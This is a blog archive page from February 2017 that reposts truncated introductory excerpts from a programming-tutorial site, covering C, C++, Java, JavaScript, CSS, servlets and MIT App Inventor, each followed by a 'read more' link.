Selasa, 28 Februari 2017

How to Return Objects instead of Primitives in Programming

We can not only pass objects as function arguments but can also return objects from functions. We can return an object in the following three ways: Returning by value which makes a duplicate copy of the local object. Returning by using a reference to the object. In this way the address of the object is passed implicitly to the calling function. Returning by using the ‘this pointer’ which explicitly sends the address of the object to the calling function.   Following program demonstrates the three ways of returning objects from a function: 1 2 3 4 5 6 7 8

The post How to Return Objects instead of Primitives in Programming appeared first on Coding Security.


How to Return Objects instead of Primitives in Programming
read more

How to use pointers in Arrays in C Programming Language

When an array is declared in a program, the compiler allocates a base address and sufficient amount of storage to contain all the elements of the array in contiguous (continuous) memory locations. A pointer is a derived data type in C. It is built from one of the fundamental data types available in C. Pointers contain memory addresses as their values. Since these memory addresses are the locations in the computer memory where program instructions and data are stored, pointers can be used to access and manipulate data stored in the memory. Pointers are more efficient in handling arrays and

The post How to use pointers in Arrays in C Programming Language appeared first on Coding Security.


How to use pointers in Arrays in C Programming Language
read more

What are the methods and controls in the Abstract Window ToolKit

In this article we will look at how to create and work with various AWT controls available in the java.awt package along with sample code.   We can add and remove controls to a Container like Applet and Frame using the following methods available in the Container class: Component add(Component ref) Component remove(Component ref)   Label A label is a GUI control which can be used to display static text. Label can be created using the Label class and its constructors which are listed below: Label() Label(String str) Label(String str, int how) The parameter how specifies the text alignment. Valid values are

The post What are the methods and controls in the Abstract Window ToolKit appeared first on Coding Security.


What are the methods and controls in the Abstract Window ToolKit
read more

Senin, 27 Februari 2017

An Introduction to Basic Networking Concepts

Network A network is a collection of interconnected computers, which are connected using communication media along with communication devices. Examples of communication devices are: modems, routers and bridges. Examples of communication media are: telephone cables, coaxial cables, twisted pair cables and fiber optical cables. Using a network has several advantages like: Easy to share the information. Easy to share the resources like printers etc. Saves time and money. Network Model A network model refers to how the computers over the network communicate with each other. The famous networking model is client-server model. In this model there are two types of

The post An Introduction to Basic Networking Concepts appeared first on Coding Security.


An Introduction to Basic Networking Concepts
read more

What are synchronized blocks in java Programming

Synchronized Blocks Sometimes while working with third-party classes, we might want to synchronize the access to methods in those classes. In such cases, synchronized methods cannot be used. Instead we can use synchronized blocks. Syntax of a synchronized block is as follows: synchronized(object-reference) {   //Statements to be synchronized }   The above program can be modified to contain a synchronized block as shown below: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

The post What are synchronized blocks in java Programming appeared first on Coding Security.


What are synchronized blocks in java Programming
read more

What are the templates of the Class in C++ Programming

Using templates programmers can create abstract classes that define the behavior of the class without actually knowing what data type will be handled by the class operations. Such classes are known as class templates. Syntax for creating a class template is as follows: 1 2 3 4 5 6 7 template<class Type1, class Type2, ...> class ClassName { ... //Body of the class ... };   Syntax for creating an object of the template class is as follows: 1 ClassName<Type> ObjectName(params–list);   The process of creating an object of a template class or creating a specific class from a class

The post What are the templates of the Class in C++ Programming appeared first on Coding Security.


What are the templates of the Class in C++ Programming
read more

Minggu, 26 Februari 2017

What is a hidden field in Session Data Management

Hidden Fields Some web users who are concerned with the security implications of a cookie will disable the cookies in their browser. In such cases, another way to store session data is by using hidden fields. A hidden field is a part of HTML form. As the name implies, a hidden field (input element whose type is set to hidden) and its data is not visible to a user. The server will process the session data which will be available in the hidden fields. A hidden field can store only one value at a time. Both cookies and hidden fields

The post What is a hidden field in Session Data Management appeared first on Coding Security.


What is a hidden field in Session Data Management
read more

An introduction to the Paradigm of OOP in Programming

This world is made up off several objects and objects communicate with each other. Similar objects can be grouped together. For example, take a college. It can have two working sections like teaching and non-teaching. These two groups can be further sub divided.   We can also group the people in a college into several departments. Generally a college will have several lecturers in each department. A college can have one or more laboratories and there might be separate lab technicians to assist in conducting practical. A college will have a Principal for managing the entire college. Each department might

The post An introduction to the Paradigm of OOP in Programming appeared first on Coding Security.


An introduction to the Paradigm of OOP in Programming
read more

An introduction to file handling classes in C++

A file is a collection of related data stored on a disk. It is advantageous to work with data stored in files rather than working with data given from keyboard due to following reasons: It is difficult to read huge amount of data from keyboard. Data entered from keyboard is volatile i.e., that data is cleared when power goes off. File Handling Classes fstreambase: The fstreambase is the base class for ifstream, ofstream, and fstream classes. Functions such are open() and close() are defined in this class.   fstream: It allows simultaneous input and output operations on filebuf. This class

The post An introduction to file handling classes in C++ appeared first on Coding Security.


An introduction to file handling classes in C++
read more

Sabtu, 25 Februari 2017

An overview to event handling in java programming

In this article we will learn what is event handling and how to handle events in Java programs using the delegation event model.   Definition: The process of handling events is known as event handling. Java uses “delegation event model” to process the events raised in a GUI program.   Delegation Event Model The delegation event model provides a consistent way of generating and processing events. In this model a source generates an event and sends it to one or more listeners. A listener waits until it receives an event and once it receives an event, processes the event and returns. The advantage

The post An overview to event handling in java programming appeared first on Coding Security.


An overview to event handling in java programming
read more

How to perform Shallow Copy and Deep Copy in C++

One of the very important part writing class in C++ is to implement copy constructor and overloaded = operator function. This tutorial talks about the need of writing these functions in order to make your program more effective. Before getting into the concept lets understand basic terminology. Constructor : Its a special function called when object of class is created. Ideally a constructor must contain the logic to initialize the data members of the class. Copy Constructor: It is called when and object is initialized at the time of creation. There exist more scenario when an copy constructor is called.

The post How to perform Shallow Copy and Deep Copy in C++ appeared first on Coding Security.


How to perform Shallow Copy and Deep Copy in C++
read more

Getting to know pointers in C programming language

The computer’s memory is a sequential collection of storage cells. Each cell, commonly known as a byte, has a number called address associated with it. Typically, the addresses are numbered consecutively, starting from zero. The last address depends on the memory size. A computer system having 64k memory will have its last address as 65,535. Whenever we declare a variable in our programs, the system allocates somewhere in the memory, an appropriate location to hold the value of the variable. This location will have its own address number. Consider the following example: The above statement int var creates a location

The post Getting to know pointers in C programming language appeared first on Coding Security.


Getting to know pointers in C programming language
read more

Jumat, 24 Februari 2017

what is the static data in C++ programming

C++ allows us to declare variables or functions as static members by using the keyword static. Static Data Syntax for declaring a static variable is as follows: static data-type variable-name;   Static data members will have the following properties: Only one copy of static data element will be created irrespective of the no. of objects created. All objects share the same copy of the static data element. All static data members are initialized to 0 when the first object for a class is created. Static data members are only visible within the class. But their lifetime is throughout the program.

The post what is the static data in C++ programming appeared first on Coding Security.


what is the static data in C++ programming
read more

How multithreading works in java programming

In this article we will learn what is multithreading and how to create and use threads in Java programs.   Background Information Multitasking: Ability to execute two or more tasks in parallel or simultaneously is known as multitasking. Multitasking is of two types: 1) Process based multitasking and 2) Thread based multitasking. Process based multitasking: Executing two or more processes simultaneously is known as process based multitasking. For example, we can listen to music and browse internet at the same time. The processes in this example are the music player and browser. Thread based multitasking: Thread is a part of process

The post How multithreading works in java programming appeared first on Coding Security.


How multithreading works in java programming
read more

what is the terminology of the functions in C programming

Creating functions For creating functions in C programs, we have to perform two steps. They are: 1) Declaring the function and 2) Defining the function. Declaring functions The function declaration is the blue print of the function. The function declaration can also be called as the function’s prototype. The function declaration tells the compiler and the user about what is the function’s name, inputs and output(s) of the function and the return type of the function. The syntax for declaring a function is shown below: In the above example, readint is the name of the function, int is the return

The post what is the terminology of the functions in C programming appeared first on Coding Security.


what is the terminology of the functions in C programming
read more

Kamis, 23 Februari 2017

How to do function overriding in C++ Programming

When a base class and sub class contains a function with the same signature, and the function is called with base class object, then the function in derived class executes and the function in base class is said to be overridden. This is known as function overriding. Following program demonstrates function overriding: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include<iostream> using namespace std; class A { protected:

The post How to do function overriding in C++ Programming appeared first on Coding Security.


How to do function overriding in C++ Programming
read more

What are built-in adapter classes in java programming

In this article we will learn about adapter classes which are used to simplify the event handling process. Sample Java programs are also provided.   Adapter classes are a set of classes which can be used to simplify the event handling process. As we can see in the mouse event handling program here, even though we want to handle only one or two mouse events, we have to define all other remaining methods available in the listener interface(s). To remove the aforementioned disadvantage, we can use adapter classes and define only the required event handling method(s). Some of the adapter

The post What are built-in adapter classes in java programming appeared first on Coding Security.


What are built-in adapter classes in java programming
read more

what are the pre processor directives recognised by ANSI

The ANSI committee has added some more preprocessor directives to the existing list. They are:   #elif   Directive The #elif directive enables us to establish an “if…else…if” sequence for testing multiple conditions. The syntax is as shown below: 1 2 3 4 5 6 7 #if expr1 Stmts; #elif  expr2 Stmts; #elif  expr3 Stmts; #endif #pragma  Directive The #pragma directive is an implementation oriented directive that allows the user to specify various instructions to be given to the compiler. Syntax is as follows: 1 #pragma name Where name is the name of the pragma we want. For example, under Microsoft C, #pragma

The post what are the pre processor directives recognised by ANSI appeared first on Coding Security.


what are the pre processor directives recognised by ANSI
read more

Rabu, 22 Februari 2017

A brief introduction to static storage class in C programming

The static storage class can be applied to both local variables and global variables. The static local variables are accessible only within the function or block in which they are declared, but their lifetime is throughout the program. The static global variables are accessible throughout the file in which they are declared but not in other files. Syntax for declaring static variable is shown below: The four storage classes can be summarized as shown below: The storage classes specify the scope and lifetime of a variable in a C program. The scope (active) specifies in which parts of the program

The post A brief introduction to static storage class in C programming appeared first on Coding Security.


A brief introduction to static storage class in C programming
read more

How to handle volatile objects and member function in C++

An object which can be modified by some unknown forces (like hardware) other than the program itself can be declared as volatile. Compiler doesn’t apply any optimizations for such volatile objects. Syntax for declaring an volatile object is as follows: volatile ClassName object-name;   A member function can be declared as volatile to make the access to member variables to be volatile. A volatile object can access only volatile functions. Syntax for creating a volatile function is as follows: return-type function-name(params-list) volatile;   Following program demonstrates both volatile objects and volatile programs: 1 2 3 4 5 6 7 8

The post How to handle volatile objects and member function in C++ appeared first on Coding Security.


How to handle volatile objects and member function in C++
read more

What are the directives to be followed for the File Inclusion

The external files containing functions or macro definitions can be linked with our program so that there is no need to write the functions and macro definitions again. This can be achieved by using the #include directive. The syntax for this directive is as shown below: We can use either of the above statements to link our program with other files. If the filename is included in double quotes, the file is searched in the local directory. If the filename is included in angular brackets, then the file is searched in the standard directories. Stringizing Operator # ANSI C provides

The post What are the directives to be followed for the File Inclusion appeared first on Coding Security.


What are the directives to be followed for the File Inclusion
read more

Selasa, 21 Februari 2017

A brief introduction to Web Architecture

A typical web application contains four tiers as depicted in the diagram below. Web browsers on the client side render documents marked up in HTML. A web server for processing and sending the data to the web browsers. An application server that computes business logic and a database server program to store and retrieve data in a database. These three types of server programs (web server, application server and database server) may run on different servers or on the same server (machine). Web browsers can run on most of the operating systems with limited hardware or software requirements. They provide

The post A brief introduction to Web Architecture appeared first on Coding Security.


A brief introduction to Web Architecture
read more

How to use delegation event model in java programming

In this article we will learn about using delegation event model i.e., how to implement event handling in Java programs.   Following are the basic steps in using delegation event model or for handling events in a Java program: Implement the appropriate listener interface. Register the listener with the source. Provide appropriate event handler to handle the event raised on the source.   Key Events Handling Following is a Java program which handles key events. In the program when the user types characters in the text field, they are displayed in a label below the text field. 1 2 3

The post How to use delegation event model in java programming appeared first on Coding Security.


How to use delegation event model in java programming
read more

what is object composition in c++ programming

In real-world programs an object is made up of several parts. For example a car is made up of several parts (objects) like engine, wheel, door etc. This kind of whole part relationship is known as composition which is also known as has-a relationship. Composition allows us to create separate class for each task. Following are the advantages or benefits of composition: Each class can be simple and straightforward. A class can focus on performing one specific task. Classes will be easier to write, debug, understand, and usable by other people. Lowers the overall complexity of the whole object. The

The post what is object composition in c++ programming appeared first on Coding Security.


what is object composition in c++ programming
read more

Senin, 20 Februari 2017

How to nest functions in C++ Programming

A member function can call another member function directly without any need of dot operator. To call another member function, we can simply write the function name followed by parameter values enclosed in parentheses. An example for calling another member function is as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include<iostream> using namespace std; class Square { public: int side; public: float area(float); float peri(float); void show_details(); };

The post How to nest functions in C++ Programming appeared first on Coding Security.


How to nest functions in C++ Programming
read more

What are different kinds of inheritance in C++ Programming

Simple Inheritance In simple inheritance, there is only one super class and one sub class. This is the simplest of all the types of inheritance. Following program demonstrates simple inheritance: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include<iostream> using namespace std; class A { public: A() { cout<<“This is super class A”<<endl; } }; class B : public A { public: B() { cout<<“This is sub class B”<<endl; } }; int main() { B obj; } Output for the above

The post What are different kinds of inheritance in C++ Programming appeared first on Coding Security.


What are different kinds of inheritance in C++ Programming
read more

What are Object class methods in Java Programming

In this article we will look at Object class which is the base class for all the classes in Java. We will learn about different methods in the Object class. In Java the base class or parent class or super class for all other classes is the Object class. This Object class provides the common functionality for all other objects.   Object Class Methods Following are different methods provided by the Object class: clone() method This method is used to create a new object which is same as the object being cloned. Syntax of this method is as follows: Object clone() equals() method This method is

The post What are Object class methods in Java Programming appeared first on Coding Security.


What are Object class methods in Java Programming
read more

Minggu, 19 Februari 2017

How to use a namespace in C++ Programming

It is common in large programs or projects to create multiple files and declare variables, functions, classes, etc. with same names which results in collisions of names. In order to eliminate collisions, C++ introduced the concept of namespaces which is a logical space for creating names.   A namespace can be created using the keyword namespace and its syntax is as follows: 1 2 3 4 5 6 7 namespace  name { //declarations ... ... ... }   Essentially a namespace creates a scope of for all the elements inside it. Syntax for accessing an element outside the namespace is as

The post How to use a namespace in C++ Programming appeared first on Coding Security.


How to use a namespace in C++ Programming
read more

What are stream classes in c++ programming

C++ provides several classes to work with stream based I/O. Such classes are known as stream classes and they are arranged in a hierarchy shown below: All these classes are declared in iostream.h header file. So, we have to include this header file in order to use the stream classes. As shown in the above figure, ios is the base class for all the stream classes from which istream and ostream classes are derived. The iostream class is derived from both istream and ostream classes. Following table lists out some of the stream classes and their contents: Formatted and Unformatted

The post What are stream classes in c++ programming appeared first on Coding Security.


What are stream classes in c++ programming
read more

An introduction interface of MIT App inventor

Accessing MIT App Inventor   To access app inventor, you must have a google (or gmail) account and a decent broadband connection. MIT app inventor cannot be used without Internet. If you don’t have one, create it. Login in to your gmail account. Now, open the following URL: http://ift.tt/1bkRWff If this is your first time using app inventor, it will display a message to allow app inventor to access your google account’s information. Click on Allow button. Now, you will see the app inventor’s dashboard as shown below: Creating New Project   For creating a new project, first you have to

The post An introduction interface of MIT App inventor appeared first on Coding Security.


An introduction interface of MIT App inventor
read more

Sabtu, 18 Februari 2017

A list of all the Primitive Data types in java programming

byte: The smallest integer type available in Java is byte. Its size is 8 bits and can store values within the range -128 to 127. byte data type can be useful while working with a stream of data over a network or a file. Declaring variables of the type byte is as shown below: byte a, b; short: Perhaps the least used integer type in Java is short. Its size is 16 bits and it can store values within the range -32,768 to 32,767. Declaring variables of the type short is as shown below: short s; int: Most widely used type for working with integers in Java

The post A list of all the Primitive Data types in java programming appeared first on Coding Security.


A list of all the Primitive Data types in java programming
read more

What are the complete set of literals in java

Integer Literals: Integer literals are the most commonly used literals in a Java program. Any whole number value is an example of an integer literal. For example, 1, 10, 8343 are all decimal values i.e., of base 10. Java also supports other types of integer literals like values of base 8 (octal values) and base 16 (hexadecimal values). An octal value contains numbers within the range 0 to 7. Octal literals in Java are preceded by a zero (0). So, to represent an octal 6 in Java, we should write 06. An hexadecimal value contains numbers within the range 0 to 15 in

The post What are the complete set of literals in java appeared first on Coding Security.


What are the complete set of literals in java
read more

what are the control directives of the compiler

These compiler control directives are used in different situations. They are: Situation 1 You have included a file containing some macro definitions. It is not known whether a certain macro has been defined in that header file. However, you want to be certain that the macro is defined. This situation refers to the conditional definition of a macro. We want to ensure that the macro TEST is always defined, irrespective of whether it has been defined in the header file or not. This can be achieved as follows: 1 2 3 4 #include”DEFINE.H” #ifndef TEST #define TEST 1 #endif  

The post what are the control directives of the compiler appeared first on Coding Security.


what are the control directives of the compiler
read more

Jumat, 17 Februari 2017

what is the difference between sequence, associative and derived containers in C++

Sequence Containers   Data is stored in a linear fashion. Each element is related to other elements by its position. Elements can be accessed using an iterator. Examples of sequence containers are: Vector, List, and Dequeue.   Vector: Dynamic array that allows insertion and deletion of elements at any position. Elements in a vector are contiguous. Allows direct access of an element. Defined in header file <vector>.   List: A bi-directional list that allows insertion and deletion of elements at any position. Elements in a list are not contiguous. Defined in header file <list>.   Dequeue: A double ended queue

The post what is the difference between sequence, associative and derived containers in C++ appeared first on Coding Security.


what is the difference between sequence, associative and derived containers in C++
read more

How to access structure members using Type Defined Structures

We can use the keyword typedef to define a structure as follows: 1 2 3 4 5 6 7 typedef  struct { char name; char rollno; int age; char grade; }student; The name student represents the structure definition associated with it and therefore can be used to declare structure variables as shown below: 1 student student1, student2, student3;   Accessing Structure Members We can access and assign values to the members of a structure in a number of ways. As mentioned earlier, the members themselves are not variables. They should be linked to the structure variables in order to make them

The post How to access structure members using Type Defined Structures appeared first on Coding Security.


How to access structure members using Type Defined Structures
read more

What is the explicit Invocation in Constructors

Explicit Invocation   Constructors and destructors can be invoked (called) explicitly from the main() function. A constructor can be invoked as shown below:   ClassName(params-list );   For example, constructor of Student class can be called as shown below:   Student( );   In case of a destructor, we need to write the class name along with the destructor name as follows:   object_name.ClassName::~ClassName( );   or   object_name.~ClassName( );   For example, destructor of Student class can be called as follows:   s1.~Student( );   A destructor can be called from a constructor as follows: 1 2 3 4

The post What is the explicit Invocation in Constructors appeared first on Coding Security.


What is the explicit Invocation in Constructors
read more

Kamis, 16 Februari 2017

How to create a constructor with Default Arguments

A constructor like a member function can have default arguments. The default arguments should be declared at the end of the parameters list. Following program demonstrates a constructor with default arguments: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <iostream> using namespace std; class Student { private: string name; string regdno; int age; string branch; int *marks; public: Student(string branch, int n = 4) //Constructor { marks =

The post How to create a constructor with Default Arguments appeared first on Coding Security.


How to create a constructor with Default Arguments
read more

How perform synchronization using inter thread communication

Although we can restrict the access of data or code to a single thread at a time by using synchronization, it can’t guarantee the consistent execution of our logic.   As an example let’s consider the conventional Producer-Consumer problem which is generally introduced in Operating Systems course. In this problem Producer process or thread produces items and stores in a queue and Consumer process or thread consumes items from the queue. Note that the Consumer thread should wait until the Producer produces at least one item.   In our example we will maintain a class Q which contains a single variable n. The Producer

The post How perform synchronization using inter thread communication appeared first on Coding Security.


How perform synchronization using inter thread communication
read more

How to work with border property in CSS

Every HTML element will be surrounded by a border. We can use border-style property to set the style of the border on all sides. Default value for this property is solid. Other valid values for this property are: dotted, dashed, double etc. We can also specify the border style on individual sides using the properties: border-top-style, border-bottom-style, border-left-style and border-right-style. We can specify the width (thickness) of the border using the property border-width. Width of the border on individual sides can be specified by the properties: border-top-width, border-bottom-width, border-left-width and border-right-width. We can specify the colour of the border using

The post How to work with border property in CSS appeared first on Coding Security.


How to work with border property in CSS
read more

Rabu, 15 Februari 2017

What is the use of the string object in javascript Programming

A string is a collection of characters. Most of the times in scripts, there is a need to work with strings. JavaScript provides various properties and methods to work with String objects. Whenever a String property or method is used on a string value, it will be coerced to a String object. One most frequently used property on String objects is length. The length property gives the number of characters in the given string. Consider the following example: var str = “Hello World”; var len = str.length;  The value stored in the len variable will be 11 which the number

The post What is the use of the string object in javascript Programming appeared first on Coding Security.


What is the use of the string object in javascript Programming
read more

What is the use of this pointer in C++ programming

For every object in C++, there is an implicit pointer called this pointer. It is a constant pointer which always points to the current object. Uses of this pointer are as follows: When data member names and function argument names are same, this pointer can be used to distinguish a data member by writing this->member-name. It can be used inside a member function to return the current object by address by writing return *this.   The this pointer cannot be used along with static functions as static functions are not part of any object. Following program demonstrates the use of

The post What is the use of this pointer in C++ programming appeared first on Coding Security.


What is the use of this pointer in C++ programming
read more

How memory allocation is done in c++ for objects and classes

Class is not allocated any memory. This is partially true. The functions in a class are allocated memory which are shared by all the objects of a class. Only the data in a class is allocated memory when an object is created. Every object has its own memory for data (variables). For example consider the following Student class and its functions: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 class Student { private: string name; string regdno; string

The post How memory allocation is done in c++ for objects and classes appeared first on Coding Security.


How memory allocation is done in c++ for objects and classes
read more

Selasa, 14 Februari 2017

A deep look into the javascript Date built-in object

At times you there will be a need to access the current date and time and also past and future date and times. JavaScript provides support for working with dates and time through the Date object. Date objected is created using the new operator and one of the Date’s constructors. Current date and time can be retrieved as shown below: To solve different kinds of problems, JavaScript provides various built-in objects. Each object contains properties and methods. var today = new Date( ); Methods available on Date object are: Method Description Date() Creates a Date object with the current date

The post A deep look into the javascript Date built-in object appeared first on Coding Security.


A deep look into the javascript Date built-in object
read more

A brief introduction to MIT app inventor

In this article we will learn what is app inventor?, uses of app inventor, and what are the different types of apps we can build using app inventor.   What is App Inventor? App Inventor is a web-based GUI (Graphical User Interface) tool developed by MIT for developing apps that run on mobile phones running Android operating system. Interesting thing about this tool is a person having minimum to no programming experience can start developing mobile apps.   App Inventor provides LEGO like blocks (puzzle pieces) which can be drag and dropped, moved around to build our own applications. Below

The post A brief introduction to MIT app inventor appeared first on Coding Security.


A brief introduction to MIT app inventor
read more

what is Formatted Console I/O standard manipulators in C++ Programming

C++ provides various console I/O functions for formatted input and output. The three ways to display formatted input and output are:   ios class functions and flags Standard manipulators User-defined manipulators   ios Class   The ios class is the base class for all input and output classes in C++. Following are some of the functions available in ios class: The width() function can be used in two ways as shown below:   int width() : Returns the current width setting.   int width(int) : Sets the specified width and returns the previous width setting.   The precision() function can

The post what is Formatted Console I/O standard manipulators in C++ Programming appeared first on Coding Security.


what is Formatted Console I/O standard manipulators in C++ Programming
read more

Senin, 13 Februari 2017

How to initialize parameters in java programming servlets

Most of the time, data (Ex: admin email, database username and password, user roles etc…) need to be provided in the production mode (client choice). Initialization parameters can reduce the complexity and maintenance. Initialization parameters are specified in the web.xml file as follows: 1 2 3 4 5 6 7 8 <servlet> <servlet-name>Name of servlet</servlet-name> <servlet-class>Servlet class</servlet-class> <init-param> <param-name>Mail</param-name> <param-value>admin@company.com</param-value> </init-param> </servlet>   Initialization parameters are stored as key value pairs. They are included in web.xml file inside init-param tags. The key is specified using the param-name tags and value is specified using the param-value tags.   Servlet initialization parameters

The post How to initialize parameters in java programming servlets appeared first on Coding Security.


How to initialize parameters in java programming servlets
read more

what are the methods of Document Object Model

Method Description alert(msg) Displays a dialog box with a specified message and an OK button blur() Removes focus from this window clearInterval(ID) Cancels a timeout that was set using the setInterval() method clearTimeout(ID) Cancels a timeout that was set using the setTimeout() method close() Closes this window confirm(msg) Displays a dialog box with a specified message and OK and Cancel buttons focus() Gives focus to this window moveBy(dx, dy) Moves this window by the specified number of pixels moveTo(x, y) Moves the top-left corner of the window to the specified screen coordinates print() Prints the contents of the window or

The post what are the methods of Document Object Model appeared first on Coding Security.


what are the methods of Document Object Model
read more

what is object composition in C++

In real-world programs an object is made up of several parts. For example a car is made up of several parts (objects) like engine, wheel, door etc. This kind of whole part relationship is known as composition which is also known as has-a relationship. Composition allows us to create separate class for each task. Following are the advantages or benefits of composition: Each class can be simple and straightforward. A class can focus on performing one specific task. Classes will be easier to write, debug, understand, and usable by other people. Lowers the overall complexity of the whole object. The

The post what is object composition in C++ appeared first on Coding Security.


what is object composition in C++
read more

Sabtu, 11 Februari 2017

what are istream class functions in C++ Programming

The istream class is derived from ios class. The istream class contains the following functions: C++ provides various console I/O functions for formatted input and output. The three ways to display formatted input and output are:   ios class functions and flags Standard manipulators User-defined manipulators   ios Class   The ios class is the base class for all input and output classes in C++. Following are some of the functions available in ios class: The width() function can be used in two ways as shown below:   int width() : Returns the current width setting.   int width(int) :

The post what are istream class functions in C++ Programming appeared first on Coding Security.


what are istream class functions in C++ Programming
read more

why do we need dynamic method dispatch

Dynamic method dispatch is the way to provide run-time polymorphism in Java. Let’s look at what is static (compile-time) polymorphism and dynamic (run-time) polymorphism. Before understanding what is the difference between static and dynamic polymorphism, let’s look at what is method binding. The process of associating or linking a method call with its definition (body) is known as method binding. This is can take place in two ways: at compile time or at run-time. When method binding takes place at compile time it is known as static binding and if the method binding takes place at run-time it is known

The post why do we need dynamic method dispatch appeared first on Coding Security.


why do we need dynamic method dispatch
read more

How c++ allows you to create virtual constructors and destructors

C++ allows programmers to create virtual destructors. But, it doesn’t allow virtual constructors to be created because of various reasons. To know why a virtual destructor is needed, consider the following program: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <iostream> using namespace std; class A { public: A() { cout<<“A’s constructor”<<endl; } ~A() { cout<<“A’s destructor”<<endl; } }; class B : public A { public: B() { cout<<“B’s

The post How c++ allows you to create virtual constructors and destructors appeared first on Coding Security.


How c++ allows you to create virtual constructors and destructors
read more

what are the cases where method over riding is possible

Method overriding is possible only when the following things are satisfied: A class inherits from another class (inheritance). Both super class and sub class should contain a method with same signature. Note: Method overriding does not depend up on the return type of the method and the access specifiers like (public, private, protected etc..). What is the difference between method overloading and method overriding? Both may look similar but they are quite different in the following ways: Method overloading takes place when a class contains multiple methods with the same name but varying number of parameters or types of parameters.

The post what are the cases where method over riding is possible appeared first on Coding Security.


what are the cases where method over riding is possible
read more

How to perform object slicing in C++

In inheritance we can assign a derived class object to a base class object. But, a base class object cannot be assigned to a derived class object. When a derived class object is assigned to a base class object, extra features provided by the derived class will not be available. Such phenomenon is called object slicing.   Following program demonstrates object slicing: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

The post How to perform object slicing in C++ appeared first on Coding Security.


How to perform object slicing in C++
read more

How to accept command line arguments in java programming

In this article we will learn about what a command line argument is and how to access and work with the command line arguments in Java.   Sometimes we might want to pass extra information while running a Java program. This extra information passed along with the program name are known as command line arguments. These command line arguments are separated by white spaces.   Command line arguments can be accessed using the string array specified in the main function’s signature. For example, if the array name is args, then the first command line argument can be accessed as args

The post How to accept command line arguments in java programming appeared first on Coding Security.


How to accept command line arguments in java programming
read more

Jumat, 10 Februari 2017

What are function templates in C++ Programming

A function template is a function which contains generic code to operate on different types of data. This enables a programmer to write functions without having to specify the exact type of parameters. Syntax for defining a template function is as follows: 1 2 3 4 5 template<class Type, ...> return–type function–name(Type arg1, ...) { //Body of function template }   As shown above, the syntax starts with the keyword template followed by a list of template type arguments or also called generic arguments.   The template keyword tells the compiler that what follows is a template. Here, class is

The post What are function templates in C++ Programming appeared first on Coding Security.


What are function templates in C++ Programming
read more

What are object class methods in java programming

Following are different methods provided by the Object class: clone() method This method is used to create a new object which is same as the object being cloned. Syntax of this method is as follows: Object clone() equals() method This method is used to determine whether one object is same as the other object. Syntax of this method is as follows: boolean equals(Object obj) finalize() method This method is used to write resource clean up code when the object is just to be garbage collected. Syntax of this method is as follows: void finalize() getClass() method This method is used to

The post What are object class methods in java programming appeared first on Coding Security.


What are object class methods in java programming
read more

What is HttpServletResponse interface in Servlets

The HttpServletResponse is a subtype of ServletResponse interface. Implementation for this interface is provided by the servlet container. The HttpServletResponse interface object let’s us to specify information that will be a part of the HTTP response headers or the HTTP response. Following methods helps us to manipulate the HTTP response headers: addHeader(String name, String value) containsHeader(String name) setHeader(String name, String value) setDateHeader(String name, long date) addIntHeader(String name, int value) addDateHeader(String name, long date)   Following table shows some of the header fields and the description of their value: Other methods provided by this interface are: sendError(int) sendError(int, String) sendRedirect(String URL)

The post What is HttpServletResponse interface in Servlets appeared first on Coding Security.


What is HttpServletResponse interface in Servlets
read more

Kamis, 09 Februari 2017

Why do we need Synchronization in real life Applications

When two or more threads are accessing the same resource like a variable or a data structure, it may lead to inconsistent data or value. Such conditions that lead to inconsistency are known as race condition.   As an example let’s consider a variable count whose value is 7 at present. Consider two operations: count = count + 1 which is executed by thread1 and another operation count = count – 1 which is executed by thread2. Note that both threads are sharing the common variables count.   If both threads execute in parallel then the sequence of operation can be either: count = count +

The post Why do we need Synchronization in real life Applications appeared first on Coding Security.


Why do we need Synchronization in real life Applications
read more

How to perform exception handling when working with constructors and destructors

It is possible that exceptions might raise in a constructor or destructor. If an exception is raised in a constructor, memory might be allocated to some data member and might not be allocated for others. This might lead to memory leakage problem as the program stop and the memory for data members stays alive in the RAM.   Similarly, when an exception is raised in a destructor, memory might not be deallocated which may again lead to memory leakage problems. So, it is better to provide exception handling within the constructor and destructor to avoid such problems. Following program demonstrates

The post How to perform exception handling when working with constructors and destructors appeared first on Coding Security.


How to perform exception handling when working with constructors and destructors
read more

what are Map functions in Standard Template library

A map is like an associative array where each element is made of a pair. A pair contain a key and a value. Key serves as an index. The entries in a map are automatically sorted based on keys when data is entered. Map container provides the following function: Following program demonstrates working with a map: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

The post what are Map functions in Standard Template library appeared first on Coding Security.


what are Map functions in Standard Template library
read more

Rabu, 08 Februari 2017

How to access DOM elements using javascript

Different elements in a web document are treated as objects in JavaScript and each objects have their properties and method of their own. Using DOM, we can get the address of an HTML elements in different ways. The first way is to use the document object’s forms array property along with the element array property. To understand this, let’s consider the following HTML code: 1 2 3 4 5 6 7 8 <html>    <head><title>Simple forms</title></head>    <body>       <form action=“”>          Enter your name: <input type = “text” />       </form>    </body> </html> To obtain the address of the textbox in

The post How to access DOM elements using javascript appeared first on Coding Security.


How to access DOM elements using javascript
read more

What are local classes in C++ Programming

A class which is declared inside a function is called a local class. A local class is accessible only within the function it is declared. Following guidelines should be followed while using local classes: Local classes can access global variable only along with scope resolution operators. Local classes can access static variable declared inside a functions. Local classes cannot access auto variable declared inside a functions. Local classes cannot have static variables. Member functions must be defined inside the classes. Private members of the class cannot be accessed by the enclosing functions if it is not declared as a friend

The post What are local classes in C++ Programming appeared first on Coding Security.


